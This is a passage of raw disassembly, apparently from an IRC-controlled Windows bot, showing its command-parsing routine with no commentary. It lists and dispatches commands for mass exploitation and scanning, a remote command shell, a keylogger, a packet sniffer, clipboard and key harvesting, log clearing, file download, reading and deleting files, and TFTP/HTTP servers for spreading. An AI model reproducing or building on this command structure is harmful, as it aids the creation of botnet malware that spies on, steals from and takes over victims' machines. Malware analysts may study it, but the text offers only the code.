push offset aVuln_stop ; "vuln.stop"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF69
push [ebp+esi+var_90]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DF69: ; CODE XREF: sub_40CD3A+1215j
push edi
push offset aVuln_stats ; "vuln.stats"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412481
push edi
push offset aVuln_st ; "vuln.st"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412481
push edi
push offset aEnz_reh4sh ; "enz.reh4sh"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412460
push edi
push offset aEnz_rh4 ; "enz.rh4"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412460
push edi
push offset aEnz_endt3rm ; "enz.endt3rm"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41243E
push edi
push offset aEnz_et3 ; "enz.et3"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41243E
push edi
push offset aEnz_t3rm1nate ; "enz.t3rm1nate"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4123F5
push edi
push offset aEnz_t3rm1 ; "enz.t3rm1"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4123F5
push edi
push offset aEnz_status ; "enz.status"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4123B7
push edi
push offset aEnz_s ; "enz.s"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4123B7
push edi
push offset aEnz_id ; "enz.id"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412380
push edi
push offset aEnz_i ; "enz.i"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412380
push edi
push offset aBox_rebewt ; "box.rebewt"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0B7
call sub_409D12
test eax, eax
mov eax, offset dword_436004
jnz short loc_40E089
mov eax, offset dword_435FCC
loc_40E089: ; CODE XREF: sub_40CD3A+1348j
push eax
lea eax, [ebp+var_2D8]
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 1Ch
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_40E0B7: ; CODE XREF: sub_40CD3A+133Aj
push edi
push offset aThreads_list ; "threads.list"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4122A2
push edi
push offset aThreads_l ; "threads.l"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4122A2
push edi
push offset aEnz_aliases ; "enz.aliases"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41227F
push edi
push offset aEnz_al ; "enz.al"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41227F
push edi
push offset aEnz_log ; "enz.log"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412190
push edi
push offset aEnz_lg ; "enz.lg"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412190
push edi
push offset aUtil_clearlog ; "util.clearlog"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412174
push edi
push offset aUtil_clg ; "util.clg"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412174
push edi
push offset aBox_netinfo ; "box.netinfo"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41213A
push edi
push offset aBox_ni ; "box.ni"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41213A
push edi
push offset aBox_sysinfo ; "box.sysinfo"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41210F
push edi
push offset aBox_si ; "box.si"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41210F
push edi
push offset aEnz_beg0ne ; "enz.beg0ne"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4120D5
push edi
push offset aEnz_b3g ; "enz.b3g"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4120D5
push edi
push offset aBox_procs ; "box.procs"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411FB3
push edi
push offset aBox_ps ; "box.ps"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411FB3
push edi
push offset aBox_harvest ; "box.harvest"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411F89
push edi
push offset aBox_key ; "box.key"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411F89
push edi
push offset aBox_uptime ; "box.uptime"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411F02
push edi
push offset aBox_up ; "box.up"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411F02
push edi
push offset aBox_driveinfo ; "box.driveinfo"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411EE5
push edi
push offset aBox_drv ; "box.drv"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411EE5
push edi
push offset aBox_testdlls ; "box.testdlls"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411ECC
push edi
push offset aBox_dll ; "box.dll"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411ECC
push edi
push offset aBox_opencmd ; "box.opencmd"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E85
push edi
push offset aBox_ocmd ; "box.ocmd"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E85
push edi
push offset aBox_ocmd_off ; "box.ocmd.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40E302
push [ebp+esi+var_90]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40E302: ; CODE XREF: sub_40CD3A+15AEj
push edi
push offset aEnz_who ; "enz.who"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40E389
cmp [ebp+var_8], ebx
jnz short loc_40E332
push ebx
push [ebp+var_4]
push offset aLoginList ; "-[Login List]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_40E332: ; CODE XREF: sub_40CD3A+15DCj
mov edi, [ebp+arg_18]
xor esi, esi
loc_40E337: ; CODE XREF: sub_40CD3A+1643j
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_40E343
mov eax, offset aEmpty ; "<Empty>"
loc_40E343: ; CODE XREF: sub_40CD3A+1602j
push eax
push esi
lea eax, [ebp+var_2D8]
push offset aD_S ; "%d. %s"
push eax
call sub_415316
push 1
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40E337
push offset dword_435E2C
jmp loc_41123A
; ---------------------------------------------------------------------------
loc_40E389: ; CODE XREF: sub_40CD3A+15D7j
push edi
push offset aBox_getclip ; "box.getclip"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E44
push edi
push offset aBox_gc ; "box.gc"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E44
push edi
push offset aUtil_flusharp ; "util.flusharp"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E19
push edi
push offset aUtil_farp ; "util.farp"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E19
push edi
push offset aUtil_flushdns ; "util.flushdns"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411DE9
push edi
push offset aUtil_fdns ; "util.fdns"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411DE9
push edi
push offset aVuln_currentip ; "vuln.currentip"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411DAF
push edi
push offset aVuln_cip ; "vuln.cip"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411DAF
push edi
push offset aServer_httpd_o ; "server.httpd.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411C15
push edi
push offset aServer_web_on ; "server.web.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411C15
push edi
push offset aServer_tftp_on ; "server.tftp.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411ADD
push edi
push offset aServer_tf_on ; "server.tf.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411ADD
push edi
push offset aVuln_massexplo ; "vuln.massexploit"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4117DE
push edi
push offset aVall ; "vall"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4117DE
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz loc_40D18F
push [ebp+arg_8]
push offset aEnz_nick ; "enz.nick"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4117BD
push [ebp+arg_8]
push offset aEnz_n ; "enz.n"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4117BD
push [ebp+arg_8]
push offset aEnz_join ; "enz.join"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41179D
push [ebp+arg_8]
push offset aEnz_j ; "enz.j"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41179D
push [ebp+arg_8]
push offset aEnz_part ; "enz.part"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411787
push [ebp+arg_8]
push offset aEnz_pt ; "enz.pt"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411787
push [ebp+arg_8]
push offset aEnz_raw ; "enz.raw"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411753
push [ebp+arg_8]
push offset aEnz_r ; "enz.r"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411753
push [ebp+arg_8]
push offset aThreads_kill ; "threads.kill"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4116A3
push [ebp+arg_8]
push offset aThreads_k ; "threads.k"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4116A3
push [ebp+arg_8]
push offset aClone_quit ; "clone.quit"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4115F8
push [ebp+arg_8]
push offset aClone_q ; "clone.q"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4115F8
push [ebp+arg_8]
push offset aClone_rndnick ; "clone.rndnick"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4115AD
push [ebp+arg_8]
push offset aClone_rn ; "clone.rn"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4115AD
push [ebp+arg_8]
push offset aEnz_prefix ; "enz.prefix"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411598
push [ebp+arg_8]
push offset aEnz_pr ; "enz.pr"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411598
push [ebp+arg_8]
push offset aBox_open ; "box.open"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41156E
push [ebp+arg_8]
push offset aBox_o ; "box.o"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41156E
push [ebp+arg_8]
push offset aEnz_setserve ; "enz.setserve"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411549
push [ebp+arg_8]
push offset aEnz_se ; "enz.se"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411549
push [ebp+arg_8]
push offset aEnz_dns ; "enz.dns"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4114EA
push [ebp+arg_8]
push offset aEnz_dn ; "enz.dn"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4114EA
push [ebp+arg_8]
push offset aBox_killprocna ; "box.killprocname"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4114BE
push [ebp+arg_8]
push offset aBox_kpn ; "box.kpn"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4114BE
push [ebp+arg_8]
push offset aBox_prockillid ; "box.prockillid"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411463
push [ebp+arg_8]
push offset aBox_pkid ; "box.pkid"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411463
push [ebp+arg_8]
push offset aBox_delete ; "box.delete"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41142C
push [ebp+arg_8]
push offset aBox_del ; "box.del"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41142C
push [ebp+arg_8]
push offset aDcc_get ; "dcc.get"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41134C
push [ebp+arg_8]
push offset aDcc_gt ; "dcc.gt"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41134C
push [ebp+arg_8]
push offset aBox_filelist ; "box.filelist"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411331
push [ebp+arg_8]
push offset aBox_fl ; "box.fl"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411331
push [ebp+arg_8]
push offset aEnz_visit ; "enz.visit"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411245
push [ebp+arg_8]
push offset aEnz_v ; "enz.v"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411245
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4111D1
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4111D1
push [ebp+arg_8]
push offset aBox_cmd ; "box.cmd"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41117D
push [ebp+arg_8]
push offset aBox_cm ; "box.cm"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41117D
push [ebp+arg_8]
push offset aBox_readfile ; "box.readfile"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4110F8
push [ebp+arg_8]
push offset aBox_rf ; "box.rf"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4110F8
push [ebp+arg_8]
push offset aSniff ; "sniff"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40E9A2
push edi
push offset aOn ; "on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40E96A
push 18h
call sub_41501C
test eax, eax
pop ecx
jle short loc_40E898
push offset unk_435B84
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40E898: ; CODE XREF: sub_40CD3A+1B52j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_36C], eax
mov eax, [ebp+var_4]
mov [ebp+var_2E4], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_2E0], eax
jnz short loc_40E8DA
mov esi, offset dword_42C314
push offset byte_43B188
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40E8DA
mov esi, [ebp+var_8C]
loc_40E8DA: ; CODE XREF: sub_40CD3A+1B82j
; sub_40CD3A+1B98j
push esi
lea eax, [ebp+var_368]
push 80h
push eax
call sub_41588A
lea eax, [ebp+var_2D8]
push offset unk_435B40
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 18h
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_2E8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36C]
push ebx
push eax
push offset sub_4024D0
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_2E8]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_40E95D
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_435AF0
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_40E955: ; CODE XREF: sub_40CD3A+1C29j
push 32h
call dword_421060 ; Sleep
loc_40E95D: ; CODE XREF: sub_40CD3A+1C08j
cmp [ebp+var_2DC], ebx
jz short loc_40E955
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_40E96A: ; CODE XREF: sub_40CD3A+1B42j
push edi
push offset aOff ; "off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40F8F6
push ebx
push 18h
call sub_414FCF
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40E998
push eax
push offset unk_435AA0
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_40E998: ; CODE XREF: sub_40CD3A+1C51j
push offset unk_435A64
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40E9A2: ; CODE XREF: sub_40CD3A+1B2Dj
push [ebp+arg_8]
push offset aBox_keylog ; "box.keylog"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40EB27
push edi
push offset aOn ; "on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40EA13
push edi
push offset aFile ; "file"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40EA13
push edi
push offset aOff ; "off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40F8F6
push ebx
push 1Ah
call sub_414FCF
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40EA09
push eax
push offset unk_435A08
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_40EA09: ; CODE XREF: sub_40CD3A+1CC2j
push offset unk_4359C8
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40EA13: ; CODE XREF: sub_40CD3A+1C8Ej
; sub_40CD3A+1C9Fj
push 1Ah
call sub_41501C
test eax, eax
pop ecx
jle short loc_40EA29
push offset unk_435994
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40EA29: ; CODE XREF: sub_40CD3A+1CE3j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_36C], eax
mov eax, [ebp+var_4]
push offset aFile ; "file"
mov [ebp+var_2E4], eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EA58
mov [ebp+var_2E0], 1
jmp short loc_40EA61
; ---------------------------------------------------------------------------
loc_40EA58: ; CODE XREF: sub_40CD3A+1D10j
mov eax, [ebp+var_8]
mov [ebp+var_2E0], eax
loc_40EA61: ; CODE XREF: sub_40CD3A+1D1Cj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_40EA88
mov esi, offset dword_42C30C
push offset byte_43B188
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EA88
mov esi, [ebp+var_8C]
loc_40EA88: ; CODE XREF: sub_40CD3A+1D30j
; sub_40CD3A+1D46j
push esi
lea eax, [ebp+var_364]
push 80h
push eax
call sub_41588A
lea eax, [ebp+var_2D8]
push offset unk_435960
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 1Ah
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_368], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36C]
push ebx
push eax
push offset sub_4021FB
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_368]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_40EB1A
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_435910
loc_40EAFE: ; CODE XREF: sub_40CD3A+1C16j
; sub_40CD3A+1C59j ...
lea eax, [ebp+var_2D8]
push eax
call sub_415316
loc_40EB0A: ; CODE XREF: sub_40CD3A+5A12j
add esp, 0Ch
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_40EB12: ; CODE XREF: sub_40CD3A+1DE6j
push 32h
call dword_421060 ; Sleep
loc_40EB1A: ; CODE XREF: sub_40CD3A+1DB6j
cmp [ebp+var_2DC], ebx
jz short loc_40EB12
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_40EB27: ; CODE XREF: sub_40CD3A+1C79j
push [ebp+arg_8]
push offset aBox_net ; "box.net"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40EDD1
cmp dword_43C620, ebx
jz short loc_40EB58
cmp dword_43C648, ebx
jz short loc_40EB58
push offset dword_4358B8
jmp loc_40EDBE
; ---------------------------------------------------------------------------
loc_40EB58: ; CODE XREF: sub_40CD3A+1E0Aj
; sub_40CD3A+1E12j
cmp [ebp+var_C], ebx
jz loc_40F526
mov eax, [ebp+esi+var_8C]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40EB80
push eax
push [ebp+var_C]
call sub_4158E0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_40EB80: ; CODE XREF: sub_40CD3A+1E36j
push edi
push offset aStart ; "start"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EBEC
cmp [ebp+arg_18], ebx
jz short loc_40EBBA
push [ebp+arg_0]
push 3
loc_40EB9B: ; CODE XREF: sub_40CD3A+1EC8j
; sub_40CD3A+1EE0j ...
call sub_412C6C
push eax
lea eax, [ebp+var_2D8]
push offset aS_1 ; "%s"
push eax
call sub_415316
add esp, 14h
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_40EBBA: ; CODE XREF: sub_40CD3A+1E5Aj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412F13
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2D8]
jz short loc_40EBE2
push offset dword_43587C
jmp loc_40EDC4
; ---------------------------------------------------------------------------
loc_40EBE2: ; CODE XREF: sub_40CD3A+1E9Cj
push offset dword_435848
jmp loc_40EDC4
; ---------------------------------------------------------------------------
loc_40EBEC: ; CODE XREF: sub_40CD3A+1E55j
push edi
push offset aStop ; "stop"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC04
push [ebp+arg_0]
push 4
jmp short loc_40EB9B
; ---------------------------------------------------------------------------
loc_40EC04: ; CODE XREF: sub_40CD3A+1EC1j
push edi
push offset aPause ; "pause"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC1F
push [ebp+arg_0]
push 5
jmp loc_40EB9B
; ---------------------------------------------------------------------------
loc_40EC1F: ; CODE XREF: sub_40CD3A+1ED9j
push edi
push offset aContinue ; "continue"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC3A
push [ebp+arg_0]
push 6
jmp loc_40EB9B
; ---------------------------------------------------------------------------
loc_40EC3A: ; CODE XREF: sub_40CD3A+1EF4j
push edi
push offset aDelete ; "delete"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC55
push [ebp+arg_0]
push 1
jmp loc_40EB9B
; ---------------------------------------------------------------------------
loc_40EC55: ; CODE XREF: sub_40CD3A+1F0Fj
push edi
push offset aShare ; "share"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40ECD8
cmp [ebp+arg_18], ebx
jz short loc_40ECA5
cmp [ebp+var_8FC], bl
jz short loc_40EC7B
push ebx
push [ebp+arg_18]
push 1
jmp short loc_40EC86
; ---------------------------------------------------------------------------
loc_40EC7B: ; CODE XREF: sub_40CD3A+1F37j
push [ebp+esi+var_88]
push [ebp+arg_18]
push ebx
loc_40EC86: ; CODE XREF: sub_40CD3A+1F3Fj
call sub_413053
push eax
lea eax, [ebp+var_2D8]
push offset aS_1 ; "%s"
push eax
call sub_415316
add esp, 18h
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_40ECA5: ; CODE XREF: sub_40CD3A+1F2Fj
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_413248
add esp, 10h
test eax, eax
lea eax, [ebp+var_2D8]
jz short loc_40ECCE
push offset dword_4357F4
jmp loc_40EDC4
; ---------------------------------------------------------------------------
loc_40ECCE: ; CODE XREF: sub_40CD3A+1F88j
push offset dword_4357C0
jmp loc_40EDC4
; ---------------------------------------------------------------------------
loc_40ECD8: ; CODE XREF: sub_40CD3A+1F2Aj
push edi
push offset aUser ; "user"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40ED6E
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40ED41
push [ebp+var_4]
cmp [ebp+var_8FC], bl
push [ebp+var_8C]
push [ebp+arg_4]
jz short loc_40ED0E
push ebx
push eax
push 1
jmp short loc_40ED22
; ---------------------------------------------------------------------------
loc_40ED0E: ; CODE XREF: sub_40CD3A+1FCCj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz short loc_40ED1E
push esi
push eax
push ebx
jmp short loc_40ED22
; ---------------------------------------------------------------------------
loc_40ED1E: ; CODE XREF: sub_40CD3A+1FDDj
push ebx
push eax
push 2
loc_40ED22: ; CODE XREF: sub_40CD3A+1FD2j
; sub_40CD3A+1FE2j
call sub_413369
push eax
lea eax, [ebp+var_2D8]
push offset aS_1 ; "%s"
push eax
call sub_415316
add esp, 24h
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_40ED41: ; CODE XREF: sub_40CD3A+1FB8j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_41387D
add esp, 10h
test eax, eax
lea eax, [ebp+var_2D8]
jz short loc_40ED67
push offset dword_435784
jmp short loc_40EDC4
; ---------------------------------------------------------------------------
loc_40ED67: ; CODE XREF: sub_40CD3A+2024j
push offset dword_435754
jmp short loc_40EDC4
; ---------------------------------------------------------------------------
loc_40ED6E: ; CODE XREF: sub_40CD3A+1FADj
push edi
push offset aSend ; "send"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDB9
cmp [ebp+arg_18], ebx
jz short loc_40EDB2
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_413B27
push eax
lea eax, [ebp+var_2D8]
push offset aS_1 ; "%s"
push eax
call sub_415316
add esp, 1Ch
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_40EDB2: ; CODE XREF: sub_40CD3A+2048j
push offset dword_435720
jmp short loc_40EDBE
; ---------------------------------------------------------------------------
loc_40EDB9: ; CODE XREF: sub_40CD3A+2043j
push offset dword_4356F0
loc_40EDBE: ; CODE XREF: sub_40CD3A+1E19j
; sub_40CD3A+207Dj ...
lea eax, [ebp+var_2D8]
loc_40EDC4: ; CODE XREF: sub_40CD3A+1EA3j
; sub_40CD3A+1EADj ...
push eax
call sub_415316
pop ecx
pop ecx
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_40EDD1: ; CODE XREF: sub_40CD3A+1DFEj
push [ebp+arg_8]
push offset aEnz_gethost ; "enz.gethost"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41101A
push [ebp+arg_8]
push offset aEnz_gh ; "enz.gh"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41101A
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40D18F
push [ebp+arg_8]
push offset aEnz_addalias ; "enz.addalias"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410FDB
push [ebp+arg_8]
push offset aEnz_aa ; "enz.aa"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410FDB
push [ebp+arg_8]
push offset aEnz_privmsg ; "enz.privmsg"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410F85
push [ebp+arg_8]
push offset aEnz_pm ; "enz.pm"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410F85
push [ebp+arg_8]
push offset aEnz_action ; "enz.action"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410F17
push [ebp+arg_8]
push offset aEnz_ac ; "enz.ac"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410F17
push [ebp+arg_8]
push offset aEnz_cycle ; "enz.cycle"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410EB1
push [ebp+arg_8]
push offset aEnz_cy ; "enz.cy"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410EB1
push [ebp+arg_8]
push offset aEnz_mode ; "enz.mode"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410E7A
push [ebp+arg_8]
push offset aEnz_m ; "enz.m"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410E7A
push [ebp+arg_8]
push offset aClone_raw ; "clone.raw"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410E0F
push [ebp+arg_8]
push offset aClone_ra ; "clone.ra"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410E0F
push [ebp+arg_8]
push offset aClone_mode ; "clone.mode"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410D8D
push [ebp+arg_8]
push offset aClone_m ; "clone.m"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410D8D
push [ebp+arg_8]
push offset aClone_nick ; "clone.nick"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410D1F
push [ebp+arg_8]
push offset aClone_ni ; "clone.ni"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410D1F
push [ebp+arg_8]
push offset aClone_join ; "clone.join"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410CF9
push [ebp+arg_8]
push offset aClone_j ; "clone.j"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410CF9
push [ebp+arg_8]
push offset aClone_part ; "clone.part"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410C99
push [ebp+arg_8]
push offset aClone_p ; "clone.p"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410C99
push [ebp+arg_8]
push offset aEnz_repeat ; "enz.repeat"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410BCA
push [ebp+arg_8]
push offset aEnz_rp ; "enz.rp"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410BCA
push [ebp+arg_8]
push offset aEnz_delay ; "enz.delay"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410B2F
push [ebp+arg_8]
push offset aEnz_de ; "enz.de"
call sub_415730
